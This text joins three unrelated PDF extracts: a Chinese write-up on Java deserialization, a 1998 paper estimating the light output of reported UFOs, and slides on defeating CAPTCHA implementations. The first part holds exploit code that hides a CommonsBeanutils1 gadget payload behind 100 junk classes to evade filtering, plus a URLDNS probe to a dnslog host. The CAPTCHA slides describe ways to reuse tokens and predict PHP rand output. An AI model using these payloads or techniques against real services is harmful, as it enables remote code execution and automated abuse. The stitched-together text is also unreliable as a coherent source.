这⾥有个if判断,⼤概是判断当前是否还在块数据当中,如果是跳到下⼀个块数据当中,每个
块分隔是通过0x78这个字节,因为这个字节是⼀个块的结尾
接下来是⼀个switch循环,通过下⼀字节来判断,这⾥如果都不是则会直接对下⼀段进⾏反序
列化!!!很神奇吧
因此现在我们就能解释为什么当初对于,这⼀段代码我们能够成功触发URLDNS的反序列化
过程呢,没错就是上⾯这张图,他直接对下⼀个块数据继续执⾏反序列化因此对HashMap的
反序列化最终导致URLDNS完整触发
那么为什么这样却能实现需求呢
在这⾥当调⽤了 K key = (K) s.readObject(); 由于类不存在抛出异常,之后继续对下
⼀块数据进⾏反序列化,最终抛出异常后也不可能继续调⽤下⾯的 value =
s.readObjet() 了,更别谈通过hash函数最终触发URLDNS,因此最终能够成功
List<Object> a = new LinkedList<Object>();
a.add(makeClass("TargetClass"));
a.add(new URLDNS.getObject("http://test.dnslog.cn"));
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u,我是要探测的gadget);
灵感⼤发
既然在抛出 ClassNotFoundException 后他还会去继续反序列化下⼀块数据,并且这是个
相当于while True的东西
!!
那么我们是不是就可以这样疯狂套娃实现垃圾数据呢?说⼲就⼲,当然⼤家别忘了引⼊
javassist的依赖
简简单单对CommonsBeanutils1来发测试
public class Test {
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
当然这⾥还有⼀个⼩坑就是
⼤家不要直接像这样,之前makeClass是返回的Class默认是继承序列化借⼜的,这样就导致虽
然也能弹出计算器,但只是因为linkedList对⾥⾯的元素循环遍历执⾏readObject的结果,⽽不
是本篇提出的通过在ClassNotFoundException利⽤skipCustomData后读取下⼀块数据执⾏反序
列化利⽤的过程
public static void main(String[] args) throws Exception{
PriorityQueue priorityQueue = CB1.getObject();
LinkedList linkedList = new LinkedList();
StringBuilder sb = new StringBuilder();
for(int i=0;i<100;i++){
sb.append("e");
linkedList.add(makeClass("woshijiad"+sb));
}
linkedList.add(priorityQueue);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(linkedList);
oos.close();
System.out.println(Base64.encode(barr.toByteArray()));
}
}
PriorityQueue priorityQueue = CB1.getObject();
LinkedList linkedList = new LinkedList();
StringBuilder sb = new StringBuilder();
for(int i=0;i<100;i++){
sb.append("e");
linkedList.add(makeClass("woshijiad"+sb));
}
linkedList.add(priorityQueue);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(linkedList);
oos.close();
//不要同时运⾏
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); | pdf |
Estimates of Optical Power Output in Six Cases of Unexplained
Aerial Objects with De®ned Luminosity Characteristics1
JACQUES F. VALLEE
1550 California St. #6L, San Francisco, CA 94109
Abstract Ð An analysis of six cases of unexplained aerial phenomena ob-
served by qualified observers over a twenty-year period in various parts of
the Earth and in known physical conditions yields estimates of optical power
output ranging from a few kilowatts to thousands of megawatts. This paper
surveys the methods by which this parameter can be derived from witnesses’
statements, it discusses the various hypotheses one could propose to account
for the observations and it calls for a broad re-examination of sighting files in
an effort to apply this methodology to a larger sample and to better under-
stand the luminosity characteristics of the reported objects.
Keywords: UFOs Ð UFO sightings Ð physical evidence
Introduction
Some of the most striking statements made by witnesses of unusual aerial ob-
jects during their debriefing by investigators have to do with the luminosity of
the phenomenon. They frequently use expressions like ªit lit up the whole
landscapeº or ªevery object in the area stood out, intensely thrown into relief.º
Beyond these subjective statements (which could be affected by physiological
and psychological factors) it is difficult to obtain reliable quantitative data on
the power output of the observed objects. Typically the witnesses are surprised
by the phenomenon and it is rare for them to have any basis of comparison or
calibration. A few such cases do exist, however, and a special effort has been
made here to derive estimates from the data.
Obvious cautions are immediately raised by this exercise. By definition the
source of the luminosity is an unknown phenomenon. We do not know if the
light is a primary manifestation of its internal physical state (as would be the
case for the sun) or a secondary one, as would be the case for the moon or an
automobile headlight. We do not even know if most of the electromagnetic en-
ergy is released in the visible domain to which human witnesses and most cam-
eras react.
Given these cautions one can, at best, hope to bracket a physical range to
characterize the phenomenon in question. More relevant than the actual
Journal of Scienti®c Exploration, Vol. 12, No. 3, pp. 345±358, 1998
0892-3310/98
1998 Society for Scienti®c Exploration
345
345
1Presented at the Physical Evidence Related to UFO Reports Workshop, Tarrytown, New York, Sept.
30-October 3, 1997.
346
J. Vallee
numerical values obtained in a few cases is the methodology involved in ac-
quiring and processing such parameters.
Case Studies
The cases that follow have been extracted from a larger sample where lumi-
nosity or power output data could be obtained. We have excluded some ex-
treme cases (such as the Tunguska explosion of 1908 in Siberia) and all cases
involving a single observer, leaving six adequately documented and re-
searched incidents with multiple witnesses. In cases no. 2 and 3 the primary
witnesses are known to the author, who has interviewed them personally. In
case no. 4 the author has visited the site. In other cases we rely on the data as-
sembled by qualified investigators, all of whom are known to us.2
Case no. 1: August 27, 1956. McCleod, Alberta (Canada) Ð
Classi®cation: MA-13
The witnesses in this MA-1 case are Royal Canadian Air Force pilots who
were flying in a formation of four F-86 Sabre jet aircraft (Figure 1). The planes
were flying at 36,000 ft (about 11 km), headed due west over the Canadian
Rockies, about an hour before sunset.4 As they were approaching a large thun-
derhead R. J. Childerhose, the pilot in the second position (left side of the for-
mation) saw a ªbright light which was sharply defined and disc-shapedº or
ªlike a shiny silver dollar sitting horizontal,º far below the planes but above
the lower layer of clouds. It appeared to be ªconsiderably brighter than the
sunlight.º (Figure 2.)
Sighting duration was variously quoted at 45 seconds (Klass, 1968) to three
minutes. The pilot reported the observation to the flight leader, then took a
photograph of it. That photograph, a Kodachrome color slide, was subse-
quently analyzed by Dr. Bruce Maccabee who considered the hypotheses that
the object was a cloud, a plasma phenomenon, or ball lightning (kugelblitz).
We refer the reader to his detailed study5 while presenting here only a summa-
ry of his arguments.
The cloud hypothesis was contradicted by two facts, namely the equal
brightness of the object on both sides as opposed to the darker appearance of
clouds away from the sunlight, and the fact that portions of the object were
brighter than the brightest clouds.
The plasma or ball lightning hypothesis has been mentioned by Klass
(Klass, 1968) and by Altschuler (Altschuler, 1968). It is contradicted by the
radiance of the object and the duration of the observation. Maccabee derives
2The author is particularly indebted to Dr. Claude Poher, Dr. Bruce Maccabee, Dr. Illobrand von Lud-
wiger and Mr. Jean-Jacques Velasco who made investigation reports available for this study.
3The classification scheme (e.g. MA-1) was presented in a previous paper by Vallee.
4R. J. Childerhose: Affidavit written in May 1958, and private communication to Dr. B. Maccabee.
5Maccabee, Bruce. ªOptical Power Output of an Unidentified High Altitude Light Source.º Private
communication.
Estimates of Optical Power Output in Aerial Objects
347
Fig. 1.
Photograph of an unidentified high altitude bright light source. Picture taken by Royal
Canadian Air Force pilot R. J. Childerhose on August 27, 1956from an altitude of 36,000
ft (app. 11 km). The object was higher than app. 4 km and was observed for more than 45
sec. If acting as an isotropic Lambertian radiator, the power output within the spectral
range of the film would have been in excess of 109 W. (Courtesy of Bruce Maccabee)
Fig. 2.
Childerhose was flying west in the second position (left side) of a formation of four F-86
Sabre jets of the Royal Canadian Air Force. (Courtesy of Bruce Maccabee)
348
J. Vallee
the radiance L by solving the standard photographic equation, corrected for the
effects of atmospheric attenuation:
L= 4Ef 2exp[(b±a)/cosq]/Tcos4f
(1)
where
E=H/t .
(2)
H is the film exposure level in J/cm2 and t is the shutter time in seconds. L is
the radiance of the object in the direction of the camera in W/sr/cm2, E is the
irradiance on the focal plane of the camera in W/cm2, and f is the ratio of the
focal length to the diameter, as set by the operator of the camera. The factor
exp[(b±a)/cosq] corrects for atmospheric attenuation, b being the optical
thickness of the atmosphere from the ground to the altitude of the plane, a the
optical thickness to the altitude of the object and q the zenith angle of the slant
path from the plane to the object. T is the transmission of the optics (aircraft
window and lens) and f is the angle between the optic axis of the camera and
the optical path from the lens to the image.
We refer the reader to Maccabee’s analysis for an excellent discussion of the
range of values of these parameters. He finds a value between 1.09 and 1.34
for the attenuation correction factor, a value of 0.7 for T, shutter time of 1/125
at f/8 and a value of 0.95 for cos4f. The average density over much of the
image is estimated at 0.12, leading to a value of H = 10-4 J/cm2.
Inserting these values into (eq. 1) and (eq. 2) gives estimates of radiance of
1.7 to 2.0 W/sr/cm2 if the object was at distances of 6 or 20 kilometers, respec-
tively. Assuming that the object was a Lambertian emitter with constant emit-
tance over its surface, Maccabee finds a range of 2.5 ´ 109 W (2,500
megawatts) to 3 ´ 1010 W (30,000 megawatts) for the power output within the
spectral range of the film. As he rightly points out, however, ªthe total power
emitted over all frequencies might be much greater.º
Case no. 2: September 1965. Fort-de-France (Martinique) Ð
Classi®cation: MA-1
On July 1, 1965, two French submarines, the Junon and the Daphn…, escort-
ed by the logistic support vessel Rhône, left the Toulon navy base in the
Mediterranean and sailed toward Gibraltar. The ships traveled first to La Horta
in the Azores, then to Norfolk, Virginia, to conduct a series of joint operations
with the U.S. Navy, which was engaged at the time in the recovery of a Gemini
capsule near Bermuda; the French submarines escorted the aircraft carrier
Wasp. Later the ships went through Hurricane Betsy, whose effects they
avoided by diving to three hundred meters. On the way back to France they
stopped for ten days at Pointe-‚-Pitre, Guadeloupe, and for one day at Saintes
before reaching the island of Martinique, where they anchored in late Septem-
ber 1965.
It was during their layover in Fort-de-France one evening, by a dark sky and
clear weather, that a large luminous object arrived slowly and silently from the
west, flew to the south, made three complete loops in the sky over the French
vessels, and vanished like a rapidly extinguished light bulb (Vallee, 1990).
The person who reported this case to us, Mr. Michel Figuet, was at the time
first timonier (helmsman) of the French fleet of the Mediterranean. He ob-
served the arrival of the object from his position on the deck of the submarine
Junon. He had time to go up to the conning tower, where he took six pairs of
binoculars and distributed them to his companions. There were three hundred
witnesses, including four officers on the Junon, three officers on the Daphn…, a
dozen French sailors, and personnel of the weather observatory.
All witnesses aboard the Junon saw the object as a large ball of light or a
disk on edge arriving from the west at 9:15 p.m. It was the color of a fluores-
cent tube, about the same luminosity as the full moon. It moved slowly, hori-
zontally, at a distance estimated at ten kilometers south of the ships, from west
to east. It left a whitish trace similar to the glow of a television screen.
When it was directly south of the ships the object dropped toward the earth,
made two complete loops, then hovered in the midst of a faint ªhalo.º (Figure
3).
Mr. Figuet told the author that he observed the last part of this trajectory
through binoculars; he was able to see two red spots under the disk. Shortly
thereafter, the object vanished in the center of its glow ªlike a bulb turned off.º
The trail and the halo remained visible in the sky for a full minute. At 9:45
p.m. the halo reappeared at the same place, and the object seemed to emerge as
Estimates of Optical Power Output in Aerial Objects
349
Fig. 3. The harbor at Fort-de-France.
350
J. Vallee
if switched on. It rose, made two more loops and flew away to the west, where
it disappeared at 9:50 p.m. The next day Mr. Figuet compared notes with a
communications engineer who had observed the same object from the Navy
fort. Together, they called the weather observatory at Fort-de-France. The
man who answered the call had also observed the object. He stated that it was
neither an aircraft, nor a rocket.
In 1988 the author was able to interview Michel Figuet in Brussels. He con-
firmed the maneuvers and the appearance of the object and stated that he had
met again with some of the crew members whose recollections of the facts
were equally precise. A landscape illuminated by the full moon receives 0.318
lux, or 1.8 ´ 10-3 W/m2. Since there is agreement among the observers that the
object had approximately the same brightness as the full moon and was situat-
ed about 10 kilometers away, we can compute its total luminosity as:
P=I ´ A (3)
where I is the intensity in W/m2 and A is the area over which light is spread.6
Here,
P= 1.8 ´ 10-3 ´ 4 pr2
(4)
where r= 10,000 m, which gives P= 2.3 ´ 106 W (2.3 megawatts).
Case no. 3: December 30, 1966. Haynesville (Louisiana) Ð Classi®cation: CE-2
The third case is drawn from the official U.S. files. It took place at 8:15 p.m.
on December 30, 1966, in the vicinity of Haynesville, Louisiana. The witness-
es are a professor of physics, Dr. G., and his family. Inquiries with the weather
bureau disclose that the weather was overcast, with fog and a light drizzle,
ceiling about three hundred feet, all parameters that are in agreement with the
witnesses’ statements. There was no thunderstorm.
In early 1967 the author came across this sighting while reviewing the files
of the U.S. Air Force as an associate of Dr. J. Allen Hynek at Northwestern
University. The report by Dr. G. and his family had not been followed up by
Air Force personnel, so we decided to pursue it on our own. Dr. G. told Dr.
Hynek and myself that he was driving north that night on U.S. Highway 79 be-
tween Haynesville and the Arkansas border when his wife called his attention
to a red-orange glow appearing through and above the trees ahead to their left.
They continued to observe it as they drove down the highway. It appeared as a
luminous hemisphere, pulsating regularly, ranging from dull red to bright or-
ange, with a period of about two seconds. There was no smoke or flame that
would have been characteristic of a fire.
6The author wishes to thank David A. Newton for bringing to his attention some important corrections
and improvements to his initial calculations in this case and those that follow. (Private communication,
August 8, 1993).
When the car came to a point about one mile from the source of the light, it
suddenly brightened to a blinding white, washing out the headlights and cast-
ing sharp shadows. This burst of light not only forced Dr. G. to shield his eyes,
but it woke up his children, who had been sleeping in the back seat. After
about four seconds it returned to its red-orange appearance.
Several sightings were described by other persons in the area. One witness
reported that about six days before a similar bright light had been seen near the
same location.
When the University of Colorado received funding from the U.S. Air Force
for a scientific study of UFOs, the author called Dr. Edward Condon’s atten-
tion to this case. A field investigation was conducted by several scientists from
Boulder but failed to locate the actual site. Dr. Condon concluded in his pub-
lished report that the case was ªof interest,º and it remained as one of the many
unidentified sightings in the University of Colorado files (Condon, 1969).
After the University of Colorado project was disbanded and after the Air
Force, following its recommendations, closed down its own Blue Book, study
of the case was resumed on a private basis. We came into contact with a quali-
fied investigator, Mr. W., who had also pursued his own research with Dr. G.
Through them the author learned that Mr. W. and Dr. G. had pinpointed the ac-
tual site where the object had hovered. The area in question is a clearing about
thirty feet in diameter, located to the west of some railroad tracks. The chief
dispatcher stated that no rolling equipment was within fifty miles of the loca-
tion that night. The nearest high-tension power lines are about nine miles away
to the west.
All the trees at the periphery of the clearing exhibited a blackening or burn-
ing of the bark in a direction pointing to the center of the area, as if they had
been exposed to an intense source of radiated energy. Clearly we would like to
know whether the wood was burned by light energy, direct heat, or chemical
combustion. From an estimate of the energy required to produce the depth of
the burn it may be possible to estimate the power of the source, assuming it
was located in the center of the clearing fifteen feet away. However this work
has not been done.
Fortunately, there are other ways to arrive at a power estimate, as Dr. G. re-
alized when he saw that the light from the object washed out his own head-
lights about ten feet ahead of the car. This enabled him to equate the intensity
of the unknown object, which is given by its power output divided by the
square of the distance, to the intensity of his headlights, which is given by their
power output, known to be 150 watts, divided by the square of ten feet. This
gives a lower limit for the power output of the UFO.
The Condon report, which reprinted Dr. G.’s calculations, uses the very sim-
ple formula:
P= 150d2
(5)
Estimates of Optical Power Output in Aerial Objects
351
352
J. Vallee
where d = distance between the car and the object.
This formula is arrived at as follows: Calling Ic the intensity of the car head-
lights at a distance of 10 feet ahead of the car, Iu the intensity of the unknown
source at distance d, and P the optical power output of the object we can write:
Ic= 150/(10 feet)2
(6)
and
Iu=P / d2
(7)
The fact that the headlights were washed out by the unknown source at a ten-
foot distance provides a lower limit for Iu. If we assume that we can detect a
ªjust noticeable differenceº (JND) between Iu and (Iu + Ic) we write:
Iu= 100 Ic
(from Weber: JND curves) (8)
which leads to:
P / d2= 100 (150 / 102) (9)
or P= 150d2.
In his report, Dr. Condon estimated the distance at 2,400 feet, which gave an
energy of 9 ´ 108 W (900 megawatts) for the UFO. A more correct estimate is
given by the subsequent investigation since the clearing is actually located
1,800 feet from the observation point. The energy output becomes 5 ´ 108 W
(500 megawatts). These figures are approximations only: As David Newton
has since pointed out in correspondence with the author, the fact that the car
headlights were not radiating uniformly in all directions but were directed onto
the road by reflectors, should be taken into account in any refined calculations.
Case no. 4: November 5, 1976. Grenoble (France) Ð Classi®cation: MA-1
Another remarkable observation made near Grenoble, France, on November
5, 1976, by a senior French scientist is relevant here. As in the previous case,
there were multiple witnesses and the duration was long enough to allow de-
tails of the object and its trajectory to be seen and recalled. There were two
other remarkable characteristics: first, it was possible to establish the distance
of the object with precision; second, the exceptional qualifications of one of
the witnesses provided some physical parameters that have rarely been avail-
able in UFO cases.
We are indebted to GEPAN, the French government’s official UFO investi-
gation task force (now known as SEPRA), for communicating to me the details
of the case, which the author had the opportunity to discuss with them at
length prior to visiting the site in 1988.7 In accordance with their policies, the
names of the witnesses have been changed. The official files, of course, con-
tain full particulars and in-depth interviews with all concerned.8
The first witness in the chronology of this observation is a Miss M., who was
watching television at her home in the town of Rives, near Grenoble. The time
was 8:08 p.m. She saw a bright light outside and called her father. Both went
out on the balcony and observed an intense white source crossing the sky at
high speed from the northwest to the southeast, disappearing behind the moun-
tains in the direction of Montand. The father, when interrogated by the gen-
darmes, stated that the light appeared to be spinning.
While these two witnesses were observing the object in Rives, a French
physicist we will call Dr. Serge was driving seven miles away near Voreppe on
the road that goes from Rives to Grenoble. He had just returned from Paris on a
plane that landed at Grenoble airport, and he was driving to his home. Looking
up, he saw a luminous disk moving in the sky. He stopped his car and got out to
observe it carefully. The time was 8: 10 p.m.
The disk, according to Dr. Serge, was brighter than the full moon. It was
slightly flattened (with an aspect ratio of 0.9) and an angular diameter about
twelve arc minutes (the full moon has an angular diameter of about thirty arc
minutes). The object was white in the center and bluish-white at the periphery.
It was surrounded by an intense green halo about two or three arc minutes
thick.
At the beginning of the observation, the disk was almost directly overhead.
It flew at a constant velocity toward the east-southeast in less than eight sec-
onds, covering approximately 1.3 degrees of arc per second. At that point the
disk stopped, without changing size, and hovered for three to ten seconds.
Then it started again in a different direction, thirty degrees away from the pre-
vious course, at much greater speed, covering about eight degrees of arc per
second and passing in front of Le Taillefer Mountain, thirty-six kilometers
away. Dr. Serge lost sight of the disk when it passed behind Le N…ron Moun-
tain, nine kilometers away.
The whole sighting had lasted about twenty to twenty-five seconds and there
was absolutely no sound at any time. The sky was clear, no wind at ground
level, and the temperature was about 40 degrees F. Late in 1988 the author
drove through the area where the sighting had been made. The photographs
and the drawings included in the GEPAN report do not do justice to the
majesty of the site. Mountains rise on both sides of the Is†re River. In places
the road runs at the foot of sheer granite walls. This topography provides a fair
estimate of the object’s distance at various points, since it was seen flying be-
hind one mountain and in front of another.
Estimates of Optical Power Output in Aerial Objects
353
7GEPAN stands for Groupe d’tude des Ph…nom†nes A…riens Non-identifi…s, while SEPRA stands
for Service d’tude des Ph…nom†nes de Rentr…e Atmosph…rique. Both organizations were based in
Toulouse, at the Centre National d’tudes Spatiales, where files are maintained.
8The Grenoble observation is Gepan Case No. 76305443.
354
J. Vallee
It is noteworthy that the investigation by GEPAN disclosed that a similar
object had been seen three hours earlier about eighteen miles east of Rives,
leaving a trail, and that a bright disk was seen two hours later by the civilian
traffic controller in the tower of the military airport at Aulnat. Shortly after
8:05 p.m. that same day a witness located a few miles away near Vienne saw a
slightly flattened sphere, whose light was similar to that of a very bright neon
tube, with a fiery red-orange area underneath. It was about one-sixth of the di-
ameter of the full moon and was flying very fast from the west-northwest to the
east-southeast.
Given these detailed, competent observations, it is possible to bracket the
energy and speed of the object with some reasonable numbers. From a careful
reconstruction of the sighting it was estimated that the object was flying at an
altitude of 1,500 to 2,500 feet, which would give it a diameter between six and
twenty feet and a speed approximating one mile per second, or 3,600 miles per
hour, during the second phase of its trajectory. Assuming that the disk gave off
as much light as the full moon, as observed by Dr. Serge, its energy in the visi-
ble part of the spectrum was a modest 15 kW. This is only a minimum value,
based on the assumption that the landscape directly underneath the object was
illuminated with an intensity comparable to that of the full moon. If illumina-
tion at the much greater distance where Dr. Serge was located was also that of
the full moon we would be in conditions similar to those of case no. 2, with a
much higher power output value.
In the detailed interviews conducted by investigators of the French National
Center for Space Studies (CNES), Dr. Serge expanded on his description of the
object, noting that the halo reminded him of the color produced by the com-
bustion of copper salts. It is also noteworthy that Dr. Serge, who serves as di-
rector of a nuclear physics laboratory, did not report the sighting to anyone and
did not mention it to his colleagues. It was only when the observation by Miss
M. and her father was mentioned in newspapers that he volunteered his own
experience. It should be noted further that, in addition to the reports from the
gendarmes, the letters from the witnesses, and the investigations by GEPAN
scientists, several of the observers were interviewed in person by a judge, a
former president of the regional Court of Appeals.
Case no. 5: June 19, 1978. Gujan-Mestras (France) Ð Classi®cation: MA-2
This incident took place near Arcachon in France on June 19, 1978, and was
also investigated in depth by GEPAN.9 While the Grenoble case was remark-
able for the convergence and high quality of the observations, the present case
introduces another exceptional parameter: the UFO triggered the photocells
that control the lights for the whole town. From the distance and the threshold
9The Gujan-Mestras investigation was conducted on behalf of Gepan by Messrs. Dorrer, Mauroy, and
Mouilhayrat.
level of the cell it is possible to derive an estimate of the power output of the
object.
The town where the sighting took place is Gujan-Mestras. There were inde-
pendent witnesses near C…on and La R…ole. A local newspaper described how
two frightened young men, an eighteen year-old cook named Franck Pavia and
a seventeen-year-old butcher’s apprentice named Jean-Marc Guitard, knocked
on the door of a baker, Mr. Varisse, who was preparing the next day’s bread, at
about 1:30 a.m.
The teenagers had stopped on the side of the road to repair the turn signal of
their car when all the lights of the town were suddenly switched off. At the
same time, a powerful rumble like an earthquake made them jump. Then they
saw the object. It was, by their descriptions, oval, red, surrounded with white
ªflames,º and it flew toward them at an altitude they estimated as 11,000 feet.
At this point Jean-Marc became unable to breathe and fainted. The object
then changed direction and flew away. While telling their story to the baker
(who reportedly laughed at them), both witnesses were reportedly terrified,
had trouble speaking, and Jean-Marc had red, teary eyes.
At approximately the same time of night a thirty-five-year-old restaurant
manager named Mr. Bach†re, who was driving toward Bordeaux, saw ªa large
orange ball, very brightº that hovered over La R…ole at about 1,000 feet before
disappearing. It reappeared at the same spot one minute later. Mr. Bach†re’s
wife confirmed his observation.
Given these reports, which were transmitted by law enforcement officials to
GEPAN in Toulouse, the task force decided to investigate immediately: three
of their scientists were at the site the next day. They interviewed the witnesses
at length, took them to the location, and had them point a theodolite to the
places where the object had appeared and disappeared in an effort to establish
triangulation. Finally, the witnesses were given a set of standard color samples
from which they made a selection corresponding to the phenomenon they had
seen.
This investigation brought to light the testimony of additional witnesses who
had previously remained silent. For instance, Mr. B., a student who lived in
Gujan, confirmed that he was outside when the town lights died at a time that
he estimated as half an hour past midnight; concurrently, he had heard a strong,
low rumble that scared him. Mr. B. saw orange flashes above the pine trees,
below the cloud ceiling.
The measurements made in the field established that all witnesses had ob-
served the same object, within the expected errors of human recall. There was
rough agreement on time, duration, distance, trajectory, sound, and luminosity
parameters. Understandably there were also discrepancies regarding the alti-
tude and apparent diameter of the object. One of the witnesses who gave the
more consistent measures was used as the primary source for these estimates.
The manager of the town utility department was also interviewed. He
showed the investigators the location of the photoelectric cells that control the
Estimates of Optical Power Output in Aerial Objects
355
356
J. Vallee
street lights. When these cells are exposed to a light that exceeds their thresh-
old (10 mW/m2), they assume that daylight has arrived and they turn off the
system.The results of the analysis bracket the distance between the cell and
the UFO: between 135 meters and 480 meters, or roughly between 400 and
1,500 feet.Although the diameter of the disc was estimated (5 meters) this is ir-
relevant to the calculation of the power output, which can be determined from
the luminous flux at the photocell via equation (3). Assuming a distance of 135
m one obtains
P 0.01 ´ 4p(135)2
(10)
hence P 2.3 kW whereas for 480 m, P 29 kW, assuming isotropic radiation
from the object.
Curiously the GEPAN Report states that it assumes a continuous spectrum
(black body radiation) and cites a range for the minimum power output be-
tween 160 kW and 5 MW. It is not a safe assumption that UFO emission is
anything like a black body: The report states: ªThe fact that it was glowing red
lets us put a Ð rat her unhelpful Ð value of t he wavelength of maximum emis-
sion at or above 700 nm.º
Case no. 6: August 24, 1990 Greifwahl (Germany) Ð Classi®cation: MA-1
Numerous eyewitness reports, supported by videotapes and photographs,
make this ªone of the best-documented sightings in Europe,º according to von
Ludwiger, to whose analysis the reader is referred for full details of the case
(Von Ludwiger, 1995). Independent witnesses observed formations of lumi-
nous spheres hovering in the sky Northeast of Greifswald. Hundreds of tourists
and local residents saw, photographed and filmed the phenomena, character-
ized by rapid accelerations and abrupt changes of direction, inconsistent with
known phenomena or manufactured objects. One private investigation group
received six videotapes and eleven photographs from different individuals and
interviewed in person more than a dozen witnesses.
The investigation concluded that the phenomena consisted of two groups of
luminous spheres that hovered nearly motionless for about 30 minutes be-
tween 8:30 p.m. and 9:00 p.m. over the Pomeranian sea. The brighter and clos-
er group formed a circle of six luminous spheres. The second group formed the
shape of a Y.º
The German weather service reported that approximately 5/8 of the sky was
covered with high, fleecy clouds in partly shaded masses and gray, sheet-like
clouds at 2,500 meters. There was a light ENE wind and the temperature was
about 60 degrees F, or 16 degrees C.
Given the number of precise observations, supported by photographs, it was
possible to triangulate the position of the objects with some accuracy. From a
distance of 14 km the Y formation appeared to be as bright as the full moon,
according to one of the photographers, Mr. Ladwig. If the spectral distribution
is equal to that of the moon, then the square distance law for the power output
of the moon with 0.138 lux yields an estimated optical power output of:
P = 1.8 ´ 10-3 ´ 4p ´ 14,0002 = 4.4 ´ 106 W by following the same reasoning as
in the Fort-de-France situation (case no. 2).
Discussion
The figures derived from the six cases we have reviewed are summarized in
Table 1. They range from low values (equivalent to the power of a small
motor) to the energy range of a nuclear reactor. The estimates do not cluster
around a particular value, and form no pattern. There may be several reasons
for this. We may be in the position of a person trying to estimate the power of a
truck by the intensity of its headlights: the actual energy figure may be orders
of magnitude beyond our calculations. Alternately, light emission may be only
a side effect of a hypothetical propulsion mechanism, as carbon monoxide is a
side effect in the exhaust of an automobile engine.
The impact of the observations on human witnesses can be dramatic, sug-
gesting that other physiological and psychological parameters are present. The
main witness in case no. 3 (Dr. G.) was a physics professor who reported
fear when confronted with the phenomenon. It forced him to shield his eyes
and frightened his children, who woke up crying. One witness in case no. 5, a
seventeen-year old male, developed breathing difficulties and fainted. Later
his eyes appeared red and teary.
In discussing these figures one must keep in mind that the literature contains
equally reliable cases when the objects were dark or had a dull surface with no
light emission whatsoever, although they performed the same evolutions as the
objects studied here.
Conclusion
Many investigators have been discouraged by the difficulty of deriving reli-
able parameters from chance observations made under uncalibrated field con-
ditions by surprised witnesses. The present study does show, however, that a
small percentage of reported UFO cases meet sufficient criteria of reliability to
yield quantitative data regarding distance and brightness. From these data we
have shown that it was possible to arrive at a rough estimate of power output.
In the present state of our ignorance about the physical nature of the report-
ed objects, and given the lack of attention given the subject by scientific and
technical personnel who might be in a position to improve the quality of the
data, we can only speculate on the mechanisms that give rise to these emis-
sions. A complete examination of the data reveals cases when witnesses were
temporarily blinded by the light from such objects, and other cases when phys-
iological sequelae were reported such as burns or skin injuries (Vallee, 1990).
Whether the reported phenomena turn out to be natural or artificial in nature,
their widely reported impact on human witnesses should encourage us to
Estimates of Optical Power Output in Aerial Objects
357
358
J. Vallee
pursue this research and extend the coverage of existing data acquisition pro-
grams.
References
Altschuler, M.D. (1968). Scientific Study of Unidentified Flying Objects. E. Gilmore, Ed. Air
Force Office of Aerospace Research and New York: Bantam Books, 733.
Condon, E. (1969). Scientific Study of Unidentified Flying Objects. New York: Bantam.
Klass, P. (1968). UFOs Identified. New York: Random House.
Vallee, J. F. (1990). Confrontations. New York: Ballantine, 27-41. See also pages 238-241 for the
classification system used in this paper.
Von Ludwiger, I. (1995). ªDie ungewoehnlichen Lichterscheinungen ueber Greifswaldº in UFOs-
Zeugen und Zeichen, pp. 251-257. Berlin: publisher unknown.
TABLE 1.
Range of Power Output
Small Engine Small Car Large Car Airplane, Airliner Industrial Nuclear
(Lawn Mower) or Truck Helicopter Plant Power Station
1 XXXXXXXX
2500-30000 MW
2 XXX
2.3 MW
3 XXXXXXX
500-900 MW
4 XXX
15 kW
5 XXXXXX
2.3-29 kW
6 XXX
4.4 MW | pdf |
CAPTCHAs:
Are they really
hopeless?
( Yes )
Completely
Automated
Public
Test to tell
Computers and
Humans
Apart
Why? Protect from automated abuse.
Examples
The Problem
• Really hard for a computer
• Hard for a person
• So they can’t be too hard
CAPTCHA Breaking
• Is it worth it?
• $$ value per CAPTCHA solved
• Retooling Cost
Automation?
• Is automation worthwhile?
• CAPTCHA “Farms”
• How much do they really cost?
• Accuracy requirement?
Two Approaches
• Attack the implementation
• Attack the actual CAPTCHA (by solving it)
Implementation Issues
• Not enough server side state
• Map request to token
• Has token been used before?
• Problem:
• Try to break more than once
• Reuse solutions
Server State
function
ts_is_human($ts_random,
$string)
{
global
$ts_random,
$site_key;
$datekey
=
date("F
j");
$rcode
=
hexdec(md5($site_key
.
$ts_random
.
$datekey));
$code
=
substr($rcode,
2,
6);
return
$string==$code;
}
Source: http://coffelius.arabandalucia.com
Lousy Encoding
• CAPTCHA solution encoded in URL or
form parameters
captcha_image.php?x=‐8&y=20
<input
type="hidden"
name="cap"
value="c4ca4238a0b923820dcc509a6f75849b">
Multiple Requests
• Different images for same CAPTCHA.
• Easy way to pump up accuracy.
Lousy RNG
• Most generators not secure
• Difficulty
• Truncated output
• Intermediate requests
• Multiple servers
• Sleep easy. md5(rand)
Lousy RNG
function
generate_code($len)
{
$code
=
'';
for($i
=
1;
$i
<=
$len;
$i++)
{
$code
.=
charset{rand(0,
strlen(charset)
‐
1)};
}
return
$code;
}
Source: http://www.phpcaptcha.org
Just for kicks, lets take a closer look.
PHP rand
PHPAPI
long
php_rand(TSRMLS_D)
{
long
ret;
if
(!BG(rand_is_seeded))
php_srand(GENERATE_SEED()
TSRMLS_CC);
#ifdef
ZTS
ret
=
php_rand_r(&BG(rand_seed));
#else
#
if
defined(HAVE_RANDOM)
ret
=
random();
#
elif
defined(HAVE_LRAND48)
ret
=
lrand48();
#
else
ret
=
rand();
#
endif
#endif
return
ret;
}
random()?
man random
random.c
The random() function uses a non-linear additive feedback
random number generator employing a default table of size 31
long integers to return successive pseudo-random numbers in
the range from 0 to (2**31)-1.
The random number generation technique is a linear feedback
shift register approach, employing trinomials (since there are
fewer terms to sum up that way).
For More...
[1 ] A. Joux and J. Stern, “Lattice Reduction: A Toolbox for the Cryptanalyst,”
Journal of Cryptology, vol. 11, Nov. 1998, pp. 161-185.
[2 ] A.M. Frieze et al., “Reconstructing Truncated Integer Variables Satisfying
